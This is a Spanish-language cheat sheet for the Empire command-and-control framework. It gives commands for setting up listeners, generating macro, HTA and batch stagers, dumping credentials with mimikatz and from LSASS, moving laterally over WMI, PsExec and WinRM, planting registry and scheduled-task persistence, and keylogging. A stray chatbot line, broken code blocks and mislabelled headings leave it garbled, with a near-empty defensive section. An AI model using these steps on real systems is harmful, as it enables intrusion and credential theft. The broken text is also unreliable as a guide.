Saltar a contenido

Hoja de Referencia de Empire Framework

Descripción General

Empire es un framework de post-explotación que incluye un agente Windows de PowerShell 2.0 puro y un agente Linux/macOS de Python 3 puro. Proporciona una infraestructura de comando y control (C2) potente para operaciones de red team, pruebas de penetración y emulación de adversarios.

⚠️ Advertencia: Empire es una herramienta de pruebas de seguridad que solo debe usarse en entornos donde se tenga permiso explícito para hacerlo.

Instalación

Desde GitHub

# Clone the repository
git clone https://github.com/BC-SECURITY/Empire.git

# Navigate to the directory
cd Empire

# Run the installation script
sudo ./setup/install.sh

Usando Docker

# Pull the Docker image
docker pull bcsecurity/empire:latest

# Run the container
docker run -it -p 1337:1337 -p 5000:5000 bcsecurity/empire:latest

En Kali Linux

# Install from package manager
sudo apt update
sudo apt install powershell-empire

Uso Básico

Iniciando Empire

# Start the Empire server
sudo empire

# Start with REST API (for Starkiller)
sudo empire --rest --username <username> --password <password>

Usando Starkiller (GUI)

# Install Starkiller
npm install -g @starkiller/starkiller

# Run Starkiller
starkiller
Comando Descripción
help Mostrar menú de ayuda
menu Volver al menú principal
back Volver al nivel de menú anterior
exit Salir del Imperio
usemodule <module> Selecciona un módulo para usar
usestager <stager> Selecciona un stager para usar
uselistener <listener> Selecciona un listener para usar
interact <agent> Interactuar con un agente
searchmodule <term> Buscar módulos
## Listeners

Creando un Listener

# In Empire CLI
listeners
uselistener http
set Name http_listener
set Host 192.168.1.100
set Port 8080
execute

Opciones Comunes de Listener

Opción Descripción
Name Nombre para el oyente
Host IP/hostname para staging
Port Puerto para el oyente
CertPath Ruta de certificado para HTTPS
DefaultDelay Retraso de devolución de llamada de agente (en segundos)
DefaultJitter Jitter en devoluciones de llamadas de agente (0.0-1.0)
DefaultProfile Perfil de comunicación predeterminado
KillDate Fecha para que el oyente salga (MM/DD/YYYY)
WorkingHours Horas para la devolución de llamada del agente (09:00-17:00)
### Gestión de Listeners
# List all listeners
listeners

# Kill a listener
kill http_listener

# View a listener's options
info http_listener

Stagers

Generando un Stager

# In Empire CLI
usestager windows/launcher_bat
set Listener http_listener
generate

Tipos Comunes de Stagers

Stager Descripción
windows/launcher_bat Lanzador de archivo BAT
windows/launcher_vbs Lanzador de script VBS
windows/launcher_powershell Lanzador de PowerShell
multi/launcher Lanzador multiplataforma
osx/launcher Lanzador de macOS
linux/launcher Lanzador de Linux
windows/dll Lanzador de DLL
windows/macro Lanzador de macros de Office
windows/hta Lanzador de HTA
## Agentes

Comandos de Agente

# List all agents
agents

# Interact with an agent
interact C2AGENT123

# Get agent info
info

# Execute a shell command
shell whoami

# Run a PowerShell command
powershell Get-Process

# Upload a file
upload /path/to/local/file /path/on/target

# Download a file
download /path/on/target /local/path

# Take a screenshot
screenshot

# Exit agent menu
back

Gestión de Agentes

# Rename an agent
rename C2AGENT123 new_name

# Kill an agent
kill C2AGENT123

# Remove an agent from the database
remove C2AGENT123

# Set sleep interval
sleep 30

# Set jitter percentage
sysinfo

Módulos

Usando Módulos

# List available modules
usemodule

# Search for modules
searchmodule credentials

# Use a specific module
usemodule powershell/situational_awareness/network/powerview/get_user

# Set module options
set Username administrator

# Execute the module
execute

Categorías Comunes de Módulos

Acceso a Credenciales

# Dump credentials from memory
usemodule powershell/credentials/mimikatz/logonpasswords

# Dump SAM database
usemodule powershell/credentials/sam

# Dump LSASS process
usemodule powershell/credentials/credential_injection/lsass_dump

Conciencia Situacional

# Get domain users
usemodule powershell/situational_awareness/network/powerview/get_user

# Get domain computers
usemodule powershell/situational_awareness/network/powerview/get_computer

# Get domain groups
usemodule powershell/situational_awareness/network/powerview/get_group

Movimiento Lateral

# WMI lateral movement
usemodule powershell/lateral_movement/invoke_wmi

# PSExec lateral movement
usemodule powershell/lateral_movement/invoke_psexec

# WinRM lateral movement
usemodule powershell/lateral_movement/invoke_winrm

Persistencia

# Registry persistence
usemodule powershell/persistence/userland/registry

# Scheduled task persistence
usemodule powershell/persistence/userland/schtasks

# WMI persistence
usemodule powershell/persistence/elevated/wmi

Características Avanzadas

Perfiles C2 Moldeables

Would you like me to continue with the remaining sections?```

In Empire CLI

profiles use default set DefaultProfile /path/to/profile.profile ```### Consideraciones de OPSEC

# Set agent kill date
set KillDate 01/01/2025

# Set working hours
set WorkingHours 09:00-17:00

# Increase agent sleep time
sleep 300 30
```### Exfiltración de Datos

Use keylogging module

usemodule powershell/collection/keylogger

Use clipboard monitoring

usemodule powershell/collection/clipboard_monitor

Use screenshot module

usemodule powershell/collection/screenshot ```## Resolución de Problemas

Problemas Comunes

   # Check if the listener is running
   listeners

   # Verify firewall settings
   sudo iptables -L

   # Check for port conflicts
   netstat -tuln|grep <port>
   ```**Problemas de Conexión**
```bash
   # Verify agent is running
   agents

   # Check for network connectivity issues
   # Verify sleep/jitter settings
   ```
```bash
   # Check module requirements
   info

   # Verify agent privileges
   shell whoami

   # Try running in a different process context
   usemodule powershell/management/psinject
   ```**Agente No Está Registrándose**
```powershell
# Enable PowerShell Script Block Logging
Set-ItemProperty -Path "HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name "EnableScriptBlockLogging" -Value 1

# Enable PowerShell Module Logging
Set-ItemProperty -Path "HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ModuleLogging" -Name "EnableModuleLogging" -Value 1

# Enable Constrained Language Mode
$ExecutionContext.SessionState.LanguageMode = "ConstrainedLanguage"
https://github.com/BC-SECURITY/EmpireFallos de Ejecución de Módulos https://bc-security.gitbook.io/empire-wiki/

Medidas Defensivas

Métodos de Detección

  • Registro de Bloques de Script de PowerShell
  • Registro de Módulos de PowerShell
  • AMSI (Antimalware Scan Interface)
  • Análisis de tráfico de red
  • Análisis de comportamiento

Técnicas de Prevención

https://github.com/BC-SECURITY/Starkiller

Recursos